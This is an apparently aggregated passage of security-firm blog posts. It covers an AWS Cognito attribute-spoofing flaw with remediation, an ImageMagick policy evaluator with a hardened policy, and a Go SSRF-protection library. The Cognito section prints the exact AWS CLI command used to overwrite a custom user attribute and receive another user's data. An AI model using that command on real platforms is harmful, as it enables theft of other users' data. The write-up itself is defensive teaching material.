<p>In particular, users were able to connect their <span style="color:red"><i>X_platform</i></span> account and allow the platform to fetch their data in <span style="color:red"><i>X_platform</i></span> for later use.</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"sub"</span><span class="p">:</span><span class="w"> </span><span class="s2">"cf9..[REDACTED]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"device_key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"us-east-1_ab..[REDACTED]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"iss"</span><span class="p">:</span><span class="w"> </span><span class="s2">"https://cognito-idp.us-east-1.amazonaws.com/us-east-1_..[REDACTED]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"client_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"9..[REDACTED]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"origin_jti"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ab..[REDACTED]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"event_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"d..[REDACTED]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"token_use"</span><span class="p">:</span><span class="w"> </span><span class="s2">"access"</span><span class="p">,</span><span class="w">
</span><span class="nl">"scope"</span><span class="p">:</span><span class="w"> </span><span class="s2">"aws.cognito.signin.user.admin"</span><span class="p">,</span><span class="w">
</span><span class="nl">"auth_time"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="err">REDACTED</span><span class="p">],</span><span class="w">
</span><span class="nl">"exp"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="err">REDACTED</span><span class="p">],</span><span class="w">
</span><span class="nl">"iat"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="err">REDACTED</span><span class="p">],</span><span class="w">
</span><span class="nl">"jti"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3b..[REDACTED]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>In AWS Cognito, user tokens permit calls to all the User Pool APIs that can be hit using access tokens alone.</p>
<p>The permitted API definitions can be found <a href="https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_Operations.html" target="_blank">here</a>.</p>
<p>If the request syntax for the API call includes the parameter <code class="language-plaintext highlighter-rouge">"AccessToken": "string"</code>, then it allows users to modify something on their own UserPool entry with the previously inspected JWT.</p>
<p>The above described design does not represent a vulnerability on its own, but having users able to edit their own User Attributes in the pool could lead to severe impacts if the backend is using them to apply internal platform logic.</p>
<p>The user associated data within the pool was fetched by using the AWS CLI:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws cognito-idp get-user <span class="nt">--region</span> us-east-1--access-token eyJra..[REDACTED SESSION JWT]
</code></pre></div></div>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
</span><span class="nl">"UserAttributes"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"Name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sub"</span><span class="p">,</span><span class="w">
</span><span class="nl">"Value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"cf915…[REDACTED]"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"Name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"email_verified"</span><span class="p">,</span><span class="w">
</span><span class="nl">"Value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"true"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"Name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"name"</span><span class="p">,</span><span class="w">
</span><span class="nl">"Value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"Name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"custom:X_platform_user_id"</span><span class="p">,</span><span class="w">
</span><span class="nl">"Value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED ID]"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"Name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"email"</span><span class="p">,</span><span class="w">
</span><span class="nl">"Value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<h2 id="the-simple-deduction">The Simple Deduction</h2>
<p>After finding the <code class="language-plaintext highlighter-rouge">X_platform_user_id</code> user pool attribute, it was clear
that it was there for a specific purpose. In fact, the platform was
fetching the attribute to use it as the primary key to query the
associated <code class="language-plaintext highlighter-rouge">refresh_token</code> in an internal database.</p>
<p>Attempting to spoof the attribute was as simple as executing:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws <span class="nt">--region</span> us-east-1 cognito-idp update-user-attributes <span class="nt">--user-attributes</span> <span class="s2">"Name=custom:X_platform_user_id,Value=[ANOTHER REDACTED ID]"</span> <span class="nt">--access-token</span> eyJra..[REDACTED SESSION JWT]
</code></pre></div></div>
<p>
<center><img style="width: 40%;" src="/public/images/cloudsectidbit-otherjokes.png" alt="" />
<em></em></center>
</p>
<p>The attribute edit succeeded and the data from the other user started to flow into the attacker’s account. The platform trusted the attribute as immutable and used it to retrieve a <code class="language-plaintext highlighter-rouge">refresh_token</code> needed to fetch and show data from <span style="color:red"><i>X_platform</i></span> in the UI.</p>
<h2 id="point-of-the-story----default-readwrite-perms-on-user-attributes">Point Of The Story - Default READ/WRITE Perms On User Attributes</h2>
<p>In AWS Cognito, App Integrations (Clients) have default read/write
permissions on User Attributes.</p>
<p>The following image shows the “Attribute read and write permissions” configuration for a new App Integration within a User Pool.</p>
<p>
<center><img style="width: 80%;" src="/public/images/cloudsectidbit-attrlist.png" alt="" />
<em></em></center>
</p>
<p>Consequently, authenticated users are able to edit their own attributes by using the access token (JWT) and AWS CLI.</p>
<p>In conclusion, it is very important to know about such behavior and set the permissions correctly during the pool creation. Depending on the platform logic, some attributes should be set as read-only to make them trustable by internal flows.</p>
<h2 id="for-cloud-security-auditors">For cloud security auditors</h2>
<p>While auditing cloud-driven web platforms, look for JWTs issued by AWS
Cognito, then answer the following questions:</p>
<ul>
<li>Which User Attributes are associated with the user pool?</li>
<li>Which ones are editable with the JWT directly via AWS CLI?
<ul>
<li>Among the editable ones, is the platform trusting such claims?
<ul>
<li>For what internal logic or functional flow?</li>
<li>How does editing affect the business logic?</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="for-developers">For developers</h2>
<p><strong>Remove write permissions for every platform-critical user attribute within App Integration for the used Users Pool (AWS Cognito).</strong></p>
<p>By removing it, users will not be able to perform attribute updates using their access tokens.</p>
<p>Updates will be possible only via admin actions such as the <a href="https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/admin-update-user-attributes.html">admin-update-user-attributes</a> method, which requires AWS credentials.</p>
<p><strong>+1 remediation tip</strong>: To avoid doing it by hand, apply the <code class="language-plaintext highlighter-rouge">r/w</code> config in your IaC and have the infrastructure correctly deployed. Terraform example:</p>
<div class="language-terraform highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">resource</span> <span class="s2">"aws_cognito_user_pool"</span> <span class="s2">"my_pool"</span> <span class="p">{</span>
<span class="nx">name</span> <span class="p">=</span> <span class="s2">"my_pool"</span>
<span class="p">}</span>
<span class="err">...</span>
<span class="k">resource</span> <span class="s2">"aws_cognito_user_pool"</span> <span class="s2">"pool"</span> <span class="p">{</span>
<span class="nx">name</span> <span class="p">=</span> <span class="s2">"pool"</span>
<span class="p">}</span>
<span class="k">resource</span> <span class="s2">"aws_cognito_user_pool_client"</span> <span class="s2">"client"</span> <span class="p">{</span>
<span class="nx">name</span> <span class="p">=</span> <span class="s2">"client"</span>
<span class="nx">user_pool_id</span> <span class="p">=</span> <span class="nx">aws_cognito_user_pool</span><span class="p">.</span><span class="nx">pool</span><span class="p">.</span><span class="nx">id</span>
<span class="nx">read_attributes</span> <span class="p">=</span> <span class="p">[</span><span class="s2">"email"</span><span class="p">]</span>
<span class="nx">write_attributes</span> <span class="p">=</span> <span class="p">[</span><span class="s2">"email"</span><span class="p">]</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The given Terraform example file will create a pool where the client will have only read/write permissions on the “email” attribute. In fact, if at least one attribute is specified either in the <code class="language-plaintext highlighter-rouge">read_attributes</code> or <code class="language-plaintext highlighter-rouge">write_attributes</code> lists, the default r/w policy will be ignored.</p>
<p>By doing so, it is possible to strictly specify the attributes with read/write permissions while implicitly denying them on the non-specified ones.</p>
<p>Please ensure to properly handle the email and phone number verification in Cognito context. Since they may contain unverified values, remember to apply the <code class="language-plaintext highlighter-rouge">RequireAttributesVerifiedBeforeUpdate</code> parameter.</p>
<h2 id="hands-on-iac-lab">Hands-On IaC Lab</h2>
<p>As promised in the series’ introduction, we developed a Terraform (IaC) laboratory to deploy a vulnerable dummy application and play with the vulnerability: <a href="https://github.com/doyensec/cloudsec-tidbits/" target="_blank">https://github.com/doyensec/cloudsec-tidbits/</a></p>
<p>Stay tuned for the next episode!</p>
<h2 id="resources">Resources</h2>
<ul>
<li><a href="https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-attributes.html" target="_blank">AWS Cognito User Pools: User Pool Attributes</a></li>
<li><a href="https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_UpdateUserAttributes.html" target="_blank">UpdateUserAttributes</a></li>
<li><a href="https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-dg.pdf" target="_blank">Amazon Cognito Developer Guide</a></li>
<li><a href="https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-email-phone-verification.html" target="_blank">Configuring email or phone verification</a></li>
</ul>
ImageMagick Security Policy Evaluator2023-01-10T00:00:00+01:00https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator<p>During our audits we occasionally stumble across <a href="https://imagemagick.org/">ImageMagick</a> security policy configuration files (<code class="language-plaintext highlighter-rouge">policy.xml</code>), useful for limiting the default behavior and the resources consumed by the library. In the wild, these files often contain a plethora of recommendations cargo cultured from around the internet. This normally happens for two reasons:</p>
<ul>
<li>Its options are only generally described on the online documentation page of the library, with no clear breakdown of what each security directive allowed by the policy is regulating. While the architectural complexity and the granularity of options definable by the policy are the major obstacles for a newbie, the corresponding knowledge base could be more welcoming. By default, ImageMagick comes with an unrestricted policy that must be tuned by the developers depending on their use. According to the docs, <em>“this affords maximum utility for ImageMagick installations that run in a sandboxed environment, perhaps in a Docker instance, or behind a firewall where security risks are greatly diminished as compared to a public website.”</em> A secure strict policy is also made available, however <a href="https://www.synacktiv.com/en/publications/playing-with-imagetragick-like-its-2016.html">as noted in the past</a> not always is well configured.</li>
<li>ImageMagick <a href="https://imagemagick.org/script/formats.php#supported">supports over 100 major file formats</a> (not including sub-formats) types of image formats. The infamous vulnerabilities affecting the library over the years produced a number of urgent security fixes and workarounds involving the addition of policy items excluding the affected formats and features (ImageTragick in <a href="https://imagetragick.com/">2016</a>, <a href="https://twitter.com/taviso">@taviso</a>’s RCE via GhostScript in <a href="https://seclists.org/oss-sec/2018/q3/142">2018</a>, <a href="https://twitter.com/insertScript">@insertScript</a>’s shell injection via PDF password in <a href="https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html">2020</a>, <a href="https://twitter.com/alexisdanizan">@alexisdanizan</a>’s in <a href="https://www.synacktiv.com/en/publications/playing-with-imagetragick-like-its-2016.html">2021</a>).</li>
</ul>
<h2 id="towards-safer-policies">Towards safer policies</h2>
<p>With this in mind, we decided to study the effects of all the options accepted by ImageMagick’s security policy parser and write a <a href="https://imagemagick-secevaluator.doyensec.com/">tool to assist both the developers and the security teams in designing and auditing these files</a>. Because of the number of available options and the need to explicitly deny all insecure settings, this is usually a manual task, which may not identify subtle bypasses which undermine the strength of a policy. It’s also easy to set policies that appear to work, but offer no real security benefit. The tool’s checks are based on our research aimed at helping developers to harden their policies and improve the security of their applications, to make sure policies provide a meaningful security benefit and cannot be subverted by attackers.</p>
<p><b>The tool can be found at <a href="https://imagemagick-secevaluator.doyensec.com/">imagemagick-secevaluator.doyensec.com/</a>.</b></p>
<div style="text-align: center;">
<video src="../../../public/images/sample-imagemagick-eval-scan.mp4" poster="../../../public/images/imagemagick-policy-scanner-poster.png" title="Doyensec's ImageMagick Security Policy Evaluator Demo" autoplay="" muted="" loop="true" playsinline="" align="center" style="max-width: 100%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto; cursor: pointer;" onclick="window.location.href = 'https://imagemagick-secevaluator.doyensec.com/'"></video>
</div>
<h2 id="allowlist-vs-denylist-approach">Allowlist vs Denylist approach</h2>
<p>A number of seemingly secure policies can be found online, specifying a list of insecure coders similar to:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ...
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"EPHEMERAL"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"EPI"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"EPS"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"MSL"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"MVG"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"PDF"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"PLT"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"PS"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"PS2"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"PS3"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"SHOW"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"TEXT"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"WIN"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"XPS"</span> <span class="nt">/></span>
...
</code></pre></div></div>
<p>In ImageMagick 6.9.7-7, an <a href="https://blog.awm.jp/2017/02/09/imagemagick-en/">unlisted change</a> was pushed. The policy parser changed behavior from disallowing the use of a coder if there was at least one <code class="language-plaintext highlighter-rouge">none</code>-permission rule in the policy to respecting the last matching rule in the policy for the coder. This means that it is possible to adopt an allowlist approach in modern policies, first denying all coders <code class="language-plaintext highlighter-rouge">rights</code> and enabling the vetted ones. A more secure policy would specify:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ...
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"delegate"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"*"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"*"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"read | write"</span> <span class="na">pattern=</span><span class="s">"{GIF,JPEG,PNG,WEBP}"</span> <span class="nt">/></span>
...
</code></pre></div></div>
<h2 id="case-sensitivity">Case sensitivity</h2>
<p>Consider the following directive:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ...
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"ephemeral,epi,eps,msl,mvg,pdf,plt,ps,ps2,ps3,show,text,win,xps"</span> <span class="nt">/></span>
...
</code></pre></div></div>
<p>With this, conversions will still be allowed, since policy patterns are case sensitive. Coders and modules must always be upper-case in the policy (e.g. “EPS” not “eps”).</p>
<h2 id="resource-limits">Resource limits</h2>
<p>Denial of service in ImageMagick is quite easy to achieve. To get a fresh set of payloads it’s convenient to search <a href="https://github.com/ImageMagick/ImageMagick/issues?q=oom">“oom”</a> or similar keywords in the recently opened issues reported on the Github repository of the library. This is an issue since an ImageMagick instance accepting potentially malicious inputs (which is often the case) will always be prone to be exploited. Because of this, the tool also reports if reasonable limits are not explicitly set by the policy.</p>
<h2 id="policy-fragmentation">Policy fragmentation</h2>
<p>Once a policy is defined, it’s important to make sure that the policy file is taking effect. ImageMagick packages bundled with the distribution or installed as dependencies through multiple package managers may specify different policies that interfere with each other. A quick <code class="language-plaintext highlighter-rouge">find</code> on your local machine will identify multiple occurrences of <code class="language-plaintext highlighter-rouge">policy.xml</code> files:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ find / -iname policy.xml
# Example output on macOS
/usr/local/etc/ImageMagick-7/policy.xml
/usr/local/Cellar/imagemagick@6/6.9.12-60/etc/ImageMagick-6/policy.xml
/usr/local/Cellar/imagemagick@6/6.9.12-60/share/doc/ImageMagick-6/www/source/policy.xml
/usr/local/Cellar/imagemagick/7.1.0-45/etc/ImageMagick-7/policy.xml
/usr/local/Cellar/imagemagick/7.1.0-45/share/doc/ImageMagick-7/www/source/policy.xml
# Example output on Ubuntu
/usr/local/etc/ImageMagick-7/policy.xml
/usr/local/share/doc/ImageMagick-7/www/source/policy.xml
/opt/ImageMagick-7.0.11-5/config/policy.xml
/opt/ImageMagick-7.0.11-5/www/source/policy.xml
</code></pre></div></div>
<p>Policies can also be configured using the <a href="https://imagemagick.org/script/command-line-options.php#limit">-limit</a> CLI argument, <a href="https://imagemagick.org/api/resource.php#SetMagickResourceLimit">MagickCore API</a> methods, or with environment variables.</p>
<h2 id="a-starter-restrictive-policy">A starter, restrictive policy</h2>
<p>Starting from the most restrictive policy described in the official documentation, we designed a restrictive policy gathering all our observations:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><policymap</span> <span class="na">xmlns=</span><span class="s">""</span><span class="nt">></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"temporary-path"</span> <span class="na">value=</span><span class="s">"/mnt/magick-conversions-with-restrictive-permissions"</span><span class="nt">/></span> <span class="c"><!-- the location should only be accessible to the low-privileged user running ImageMagick --></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"memory"</span> <span class="na">value=</span><span class="s">"256MiB"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"list-length"</span> <span class="na">value=</span><span class="s">"32"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"width"</span> <span class="na">value=</span><span class="s">"8KP"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"height"</span> <span class="na">value=</span><span class="s">"8KP"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"map"</span> <span class="na">value=</span><span class="s">"512MiB"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"area"</span> <span class="na">value=</span><span class="s">"16KP"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"disk"</span> <span class="na">value=</span><span class="s">"1GiB"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"file"</span> <span class="na">value=</span><span class="s">"768"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"thread"</span> <span class="na">value=</span><span class="s">"2"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"time"</span> <span class="na">value=</span><span class="s">"10"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"module"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"*"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"delegate"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"*"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"*"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"coder"</span> <span class="na">rights=</span><span class="s">"write"</span> <span class="na">pattern=</span><span class="s">"{PNG,JPG,JPEG}"</span> <span class="nt">/></span> <span class="c"><!-- your restricted set of acceptable formats, set your rights needs --></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"filter"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"*"</span> <span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"path"</span> <span class="na">rights=</span><span class="s">"none"</span> <span class="na">pattern=</span><span class="s">"@*"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"cache"</span> <span class="na">name=</span><span class="s">"memory-map"</span> <span class="na">value=</span><span class="s">"anonymous"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"cache"</span> <span class="na">name=</span><span class="s">"synchronize"</span> <span class="na">value=</span><span class="s">"true"</span><span class="nt">/></span>
<span class="c"><!-- <policy domain="cache" name="shared-secret" value="my-secret-passphrase" stealth="True"/> Only needed for distributed pixel cache spanning multiple servers --></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"system"</span> <span class="na">name=</span><span class="s">"shred"</span> <span class="na">value=</span><span class="s">"2"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"system"</span> <span class="na">name=</span><span class="s">"max-memory-request"</span> <span class="na">value=</span><span class="s">"256MiB"</span><span class="nt">/></span>
<span class="nt"><policy</span> <span class="na">domain=</span><span class="s">"resource"</span> <span class="na">name=</span><span class="s">"throttle"</span> <span class="na">value=</span><span class="s">"1"</span><span class="nt">/></span> <span class="c"><!-- Periodically yield the CPU for at least the time specified in ms --></span>
<span class="nt"><policy</span> <span class="na">xmlns=</span><span class="s">""</span> <span class="na">domain=</span><span class="s">"system"</span> <span class="na">name=</span><span class="s">"precision"</span> <span class="na">value=</span><span class="s">"6"</span><span class="nt">/></span>
<span class="nt"></policymap></span>
</code></pre></div></div>
<p>You can verify that a security policy is active using the <code class="language-plaintext highlighter-rouge">identify</code> command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>identify -list policy
Path: ImageMagick/policy.xml
...
</code></pre></div></div>
<p>You can also play with the above policy using our evaluator tool while developing a tailored one.</p>
safeurl for Go2022-12-13T00:00:00+01:00https://blog.doyensec.com/2022/12/13/safeurl<p><strong>Do you need a Go HTTP library to protect your applications from SSRF attacks?</strong> If so, try <a href="https://github.com/doyensec/safeurl">safeurl</a>.
It’s a one-line drop-in replacement for Go’s <code class="language-plaintext highlighter-rouge">net/http</code> client.</p>
<h2 id="no-more-ssrf-in-go-web-apps">No More SSRF in Go Web Apps</h2>
<p>When building a web application, it is not uncommon to issue HTTP requests to internal microservices or even external third-party services. Whenever a URL is provided by the user, it is important to ensure that <em>Server-Side Request Forgery</em> (SSRF) vulnerabilities are properly mitigated. As eloquently described in PortSwigger’s <a href="https://portswigger.net/web-security/ssrf">Web Security Academy</a> pages, SSRF is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.</p>
<p>While libraries mitigating SSRF in numerous programming languages exist, Go didn’t have an easy to use solution. Until now!</p>
<p><code class="language-plaintext highlighter-rouge">safeurl for Go</code> is a library with built-in SSRF and DNS rebinding protection that can easily replace Go’s default <code class="language-plaintext highlighter-rouge">net/http</code> client. All the heavy work of parsing, validating and issuing requests is done by the library. The library works out-of-the-box with minimal configuration, while providing developers the customizations and filtering options they might need. Instead of fighting to solve application security problems, developers should be free to focus on delivering quality features to their customers.</p>
<p>This library was inspired by SafeCURL and SafeURL, respectively by <a href="https://twitter.com/fin1te">Jack Whitton</a> and <a href="https://blog.includesecurity.com/2016/08/introducing-safeurl-a-set-of-ssrf-protection-libraries/">Include Security</a>. Since no SafeURL for Go existed, Doyensec made it available for the community.</p>
<h2 id="what-does-safeurl-offer">What Does <code class="language-plaintext highlighter-rouge">safeurl</code> Offer?</h2>
<p>With <a href="#configuration">minimal configuration</a>, the library prevents unauthorized requests to internal, private or reserved IP addresses. All HTTP connections are validated against an allowlist and a blocklist. By default, the library blocks all traffic to private or reserved IP addresses, as defined by <a href="https://datatracker.ietf.org/doc/html/rfc1918">RFC1918</a>. This behavior can be updated via the <code class="language-plaintext highlighter-rouge">safeurl</code>’s client configuration. The library will give precedence to allowed items, be it a hostname, an IP address or a port. In general, allowlisting is the recommended way of building secure systems. In fact, it’s easier (and safer) to explicitly set allowed destinations, as opposed to having to deal with updating a blocklist in today’s ever-expanding threat landscape.</p>
<h2 id="installation">Installation</h2>
<p>Include the <code class="language-plaintext highlighter-rouge">safeurl</code> module in your Go program by simply adding <code class="language-plaintext highlighter-rouge">github.com/doyensec/safeurl</code> to your project’s <code class="language-plaintext highlighter-rouge">go.mod</code> file.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>go get <span class="nt">-u</span> github.com/doyensec/safeurl
</code></pre></div></div>
<h2 id="usage">Usage</h2>
<p>The <code class="language-plaintext highlighter-rouge">safeurl.Client</code>, provided by the library, can be used as a drop-in replacement of Go’s native <code class="language-plaintext highlighter-rouge">net/http.Client</code>.</p>
<p>The following code snippet shows a simple Go program that uses the <code class="language-plaintext highlighter-rouge">safeurl</code> library:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">(</span>
<span class="s">"fmt"</span>
<span class="s">"github.com/doyensec/safeurl"</span>
<span class="p">)</span>
<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">config</span> <span class="o">:=</span> <span class="n">safeurl</span><span class="o">.</span><span class="n">GetConfigBuilder</span><span class="p">()</span><span class="o">.</span>
<span class="n">Build</span><span class="p">()</span>
<span class="n">client</span> <span class="o">:=</span> <span class="n">safeurl</span><span class="o">.</span><span class="n">Client</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
<span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"https://example.com"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="n">fmt</span><span class="o">.</span><span class="n">Errorf</span><span class="p">(</span><span class="s">"request return error: %v"</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
<span class="p">}</span>
<span class="c">// read response body</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The minimal library configuration looks something like:</p>
